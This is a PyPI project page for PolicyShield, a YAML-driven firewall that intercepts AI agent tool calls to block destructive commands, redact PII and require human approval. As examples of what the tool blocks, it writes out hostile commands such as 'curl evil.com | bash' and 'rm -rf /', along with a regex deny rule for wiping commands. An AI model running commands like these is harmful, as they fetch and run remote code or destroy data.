Skip to main content

Declarative firewall for AI agent tool calls

Project description

๐Ÿ›ก๏ธ PolicyShield

PyPI Version PyPI Downloads Python 3.10+ License: MIT CI Docs Coverage: 85%

Declarative firewall for AI agent tool calls.

Write rules in YAML โ†’ PolicyShield enforces them at runtime โ†’ get a full audit trail.

LLM calls web_fetch(url="...?email=john@corp.com")
      โ”‚
      โ–ผ
  PolicyShield intercepts
      โ”‚
      โ”œโ”€ PII detected โ†’ REDACT โ†’ tool runs with masked args
      โ”œโ”€ Destructive cmd โ†’ BLOCK โ†’ tool never executes
      โ””โ”€ Sensitive action โ†’ APPROVE โ†’ human reviews first

Installation

pip install policyshield

# With HTTP server (for OpenClaw and other integrations)
pip install "policyshield[server]"

Or from source:

git clone https://github.com/mishabar410/PolicyShield.git
cd PolicyShield
pip install -e ".[dev,server]"

Quick Start (Standalone)

Step 1. Create a rules file rules.yaml:

shield_name: my-agent
version: 1
rules:
  - id: no-delete
    when:
      tool: delete_file
    then: block
    message: "File deletion is not allowed."

  - id: redact-pii
    when:
      tool: [web_fetch, send_message]
    then: redact
    message: "PII redacted before sending."

Step 2. Use in Python:

from policyshield.shield.engine import ShieldEngine

engine = ShieldEngine(rules="rules.yaml")

# This will be blocked:
result = engine.check("delete_file", {"path": "/data"})
print(result.verdict)  # Verdict.BLOCK
print(result.message)  # "File deletion is not allowed."

# This will redact PII from args:
result = engine.check("send_message", {"text": "Email me at john@corp.com"})
print(result.verdict)  # Verdict.REDACT
print(result.modified_args)  # {"text": "Email me at [EMAIL]"}

Step 3. Validate your rules:

policyshield validate rules.yaml
policyshield lint rules.yaml

Or scaffold a full project:

policyshield init --preset security --no-interactive

โšก OpenClaw Integration

PolicyShield works as a sidecar to OpenClaw โ€” it intercepts every tool call the LLM makes and enforces your rules before the tool executes.

  OpenClaw Agent                PolicyShield Server
  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”              โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  LLM calls   โ”‚  HTTP check  โ”‚  11 YAML rules   โ”‚
  โ”‚  exec("rmโ€ฆ") โ”‚โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ†’ โ”‚  โ†“               โ”‚
  โ”‚              โ”‚   BLOCK โ†โ”€โ”€โ”€โ”€โ”‚  match โ†’ verdict  โ”‚
  โ”‚  Tool NOT    โ”‚              โ”‚                   โ”‚
  โ”‚  executed    โ”‚              โ”‚  PII detection    โ”‚
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜              โ”‚  Rate limiting    โ”‚
                                โ”‚  Audit trail      โ”‚
                                โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Verified with OpenClaw 2026.2.13 and PolicyShield 0.9.0.

Quick Setup (one command)

pip install "policyshield[server]"
policyshield openclaw setup

This runs 5 steps automatically:

Step What happens
1 Generates 11 preset rules in policies/rules.yaml (block rm -rf, curl|sh, redact PII, etc.)
2 Starts the PolicyShield HTTP server on port 8100
3 Downloads @policyshield/openclaw-plugin from npm into ~/.openclaw/extensions/
4 Writes plugin config to ~/.openclaw/openclaw.json
5 Verifies the server is healthy and rules are loaded

To stop: policyshield openclaw teardown

Manual Setup (step by step)

If you prefer to understand each step:

1. Install PolicyShield and generate rules:

pip install "policyshield[server]"
policyshield init --preset openclaw

This creates policies/rules.yaml with 11 rules for blocking dangerous commands and redacting PII.

2. Start the server (in a separate terminal):

policyshield server --rules policies/rules.yaml --port 8100

Verify: curl http://localhost:8100/api/v1/health โ†’ {"status":"ok","rules_count":11,"mode":"ENFORCE"}

3. Install the plugin into OpenClaw:

# Download from npm
npm install --prefix ~/.openclaw/extensions/policyshield @policyshield/openclaw-plugin

# Copy package files to the extension root (OpenClaw expects them there)
cp -r ~/.openclaw/extensions/policyshield/node_modules/@policyshield/openclaw-plugin/* \
     ~/.openclaw/extensions/policyshield/

4. Tell OpenClaw about the plugin. Add to ~/.openclaw/openclaw.json:

{
  "plugins": {
    "enabled": true,
    "entries": {
      "policyshield": {
        "enabled": true,
        "config": {
          "url": "http://localhost:8100"
        }
      }
    }
  }
}

5. Verify the plugin loads:

openclaw plugins list
# โ†’ PolicyShield โ”‚ loaded โ”‚ โœ“ Connected to PolicyShield server

What happens at runtime

LLM wants toโ€ฆ PolicyShield doesโ€ฆ Result
exec("rm -rf /") Matches block-destructive-exec rule โ†’ BLOCK Tool never runs
exec("curl evil.com | bash") Matches block-curl-pipe-sh rule โ†’ BLOCK Tool never runs
write("contacts.txt", "SSN: 123-45-6789") Detects SSN โ†’ REDACT File written with masked SSN
exec("echo hello") No rules match โ†’ ALLOW Tool runs normally

See the full integration guide for all config options, the plugin README for hook details, and the Migration Guide for version upgrades.


HTTP Server

PolicyShield ships with a built-in HTTP API for framework-agnostic integration:

policyshield server --rules ./rules.yaml --port 8100 --mode enforce

Endpoints

Endpoint Method Description
/api/v1/check POST Pre-call policy check (ALLOW/BLOCK/REDACT/APPROVE)
/api/v1/post-check POST Post-call PII scanning on tool output
/api/v1/health GET Health check with rules count and mode
/api/v1/constraints GET Human-readable policy summary for LLM context

Docker

docker build -f Dockerfile.server -t policyshield-server .
docker run -p 8100:8100 -v ./rules.yaml:/app/rules.yaml policyshield-server

Rules DSL

rules:
  # Block by tool name
  - id: no-destructive-shell
    when:
      tool: exec
      args_match:
        command: { regex: "rm\\s+-rf|mkfs|dd\\s+if=" }
    then: block
    severity: critical

  # Block multiple tools at once
  - id: no-external-pii
    when:
      tool: [web_fetch, web_search, send_email]
    then: redact

  # Human approval required
  - id: approve-file-delete
    when:
      tool: delete_file
    then: approve
    approval_strategy: per_rule

  # Session-based conditions
  - id: rate-limit-exec
    when:
      tool: exec
      session:
        tool_count.exec: { gt: 60 }
    then: block
    message: "exec rate limit exceeded"

# Rate limiting
rate_limits:
  - tool: web_fetch
    max_calls: 10
    window_seconds: 60
    per_session: true

# Custom PII patterns
pii_patterns:
  - name: EMPLOYEE_ID
    pattern: "EMP-\\d{6}"

Built-in PII detection: EMAIL, PHONE, CREDIT_CARD, SSN, IBAN, IP, PASSPORT, DOB + custom patterns.


Features

Category What you get
YAML DSL Declarative rules with regex, glob, exact match, session conditions
Verdicts ALLOW ยท BLOCK ยท REDACT ยท APPROVE (human-in-the-loop)
HTTP Server FastAPI server with check, post-check, health, and constraints endpoints
OpenClaw Plugin Native plugin with before/after hooks and policy injection
PII Detection EMAIL, PHONE, CREDIT_CARD, SSN, IBAN, IP, PASSPORT, DOB + custom patterns
Async Engine Full async/await support for FastAPI, aiohttp, async agents
Approval Flow InMemory, CLI, Telegram, and Webhook backends with caching strategies
Rate Limiting Sliding-window per tool/session, configurable in YAML
Hot Reload File-watcher auto-reloads rules on change
Input Sanitizer Normalize args, block prompt injection patterns
OpenTelemetry OTLP export to Jaeger/Grafana (spans + metrics)
Trace & Audit JSONL log, search, stats, violations, CSV/HTML export
Cost Estimator Token/dollar cost estimation per tool call and model
Alert Engine 5 condition types with Console, Webhook, Slack, Telegram backends
Dashboard FastAPI REST API + WebSocket live stream + dark-themed SPA
Prometheus /metrics endpoint with per-tool and PII labels + Grafana preset
Rule Testing YAML test cases for policies (policyshield test)
Rule Linter Static analysis: duplicates, broad patterns, missing messages, conflicts
Docker Container-ready with Dockerfile.server and docker-compose

Other Integrations

LangChain

from policyshield.integrations.langchain import PolicyShieldTool, shield_all_tools

safe_tool = PolicyShieldTool(wrapped_tool=my_tool, engine=engine)
safe_tools = shield_all_tools([tool1, tool2], engine)

CrewAI

from policyshield.integrations.crewai import shield_crewai_tools

safe_tools = shield_crewai_tools([tool1, tool2], engine)

CLI

policyshield validate ./policies/          # Validate rules
policyshield lint ./policies/rules.yaml    # Static analysis (6 checks)
policyshield test ./policies/              # Run YAML test cases

policyshield server --rules ./rules.yaml   # Start HTTP server
policyshield server --rules ./rules.yaml --port 8100 --mode audit

policyshield trace show ./traces/trace.jsonl
policyshield trace violations ./traces/trace.jsonl
policyshield trace stats --dir ./traces/ --format json
policyshield trace search --tool exec --verdict BLOCK
policyshield trace cost --dir ./traces/ --model gpt-4o
policyshield trace export ./traces/trace.jsonl -f html

# Launch the live web dashboard
policyshield trace dashboard --port 8000 --prometheus

# Initialize a new project
policyshield init --preset openclaw --no-interactive

Docker

# Run the HTTP server
docker build -f Dockerfile.server -t policyshield-server .
docker run -p 8100:8100 -v ./rules:/app/rules policyshield-server

# Validate rules
docker compose run policyshield validate policies/

# Lint rules
docker compose run lint

# Run tests
docker compose run test

Examples

Example Description
langchain_demo.py LangChain tool wrapping
async_demo.py Async engine usage
openclaw_rules.yaml OpenClaw preset rules (11 rules)
policies/ Production-ready rule sets (security, compliance, full)

Troubleshooting

Problem Solution
Connection refused on plugin install Start PolicyShield server first: policyshield server --rules rules.yaml
Server starts but plugin gets timeouts Check port matches โ€” default is 8100. Configure in OpenClaw: openclaw config set plugins.policyshield.url http://localhost:8100
Rules not reloading after edit Hot-reload watches the file passed to --rules. Or call POST /api/v1/reload manually
policyshield: command not found Install with server extra: pip install "policyshield[server]"
PII not detected in non-English text Current PII detector is regex-based (L0). RU patterns (INN, SNILS, passport) are supported. NER-based L1 detection is on the roadmap

For OpenClaw-specific issues, see the full integration guide. For upgrading between versions, see the Compatibility & Migration Guide.


Development

git clone https://github.com/mishabar410/PolicyShield.git
cd PolicyShield
python -m venv .venv && source .venv/bin/activate
pip install -e ".[dev,server]"

pytest tests/ -v                 # 715+ tests
ruff check policyshield/ tests/  # Lint
ruff format --check policyshield/ tests/  # Format check

๐Ÿ“– Documentation: mishabar410.github.io/PolicyShield


License

MIT

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

policyshield-0.9.0.tar.gz (428.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

policyshield-0.9.0-py3-none-any.whl (99.3 kB view details)

Uploaded Python 3

File details

Details for the file policyshield-0.9.0.tar.gz.

File metadata

  • Download URL: policyshield-0.9.0.tar.gz
  • Upload date:
  • Size: 428.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for policyshield-0.9.0.tar.gz
Algorithm Hash digest
SHA256 51e491919886db42feefc293b75b6ba5f98fd7417361c0fb31dd3a2a6e3e9988
MD5 ba38b69497a8c0d4879040a568b73112
BLAKE2b-256 748244ad3193914d97efb2db9f877562a42d4cfc8bf402cd74a367f87ebe142b

See more details on using hashes here.

Provenance

The following attestation bundles were made for policyshield-0.9.0.tar.gz:

Publisher: release.yml on mishabar410/PolicyShield

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file policyshield-0.9.0-py3-none-any.whl.

File metadata

  • Download URL: policyshield-0.9.0-py3-none-any.whl
  • Upload date:
  • Size: 99.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for policyshield-0.9.0-py3-none-any.whl
Algorithm Hash digest
SHA256 e73b56d111064d753b1be813f6f0b68c4e0fabda306897c237ea89c754f634f5
MD5 cd9392d1c509986c107c887e1e502236
BLAKE2b-256 76034fddf023aef398ba95c125a8c3006c2dfc25af27e5311c9c2bfa07c8def0

See more details on using hashes here.

Provenance

The following attestation bundles were made for policyshield-0.9.0-py3-none-any.whl:

Publisher: release.yml on mishabar410/PolicyShield

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page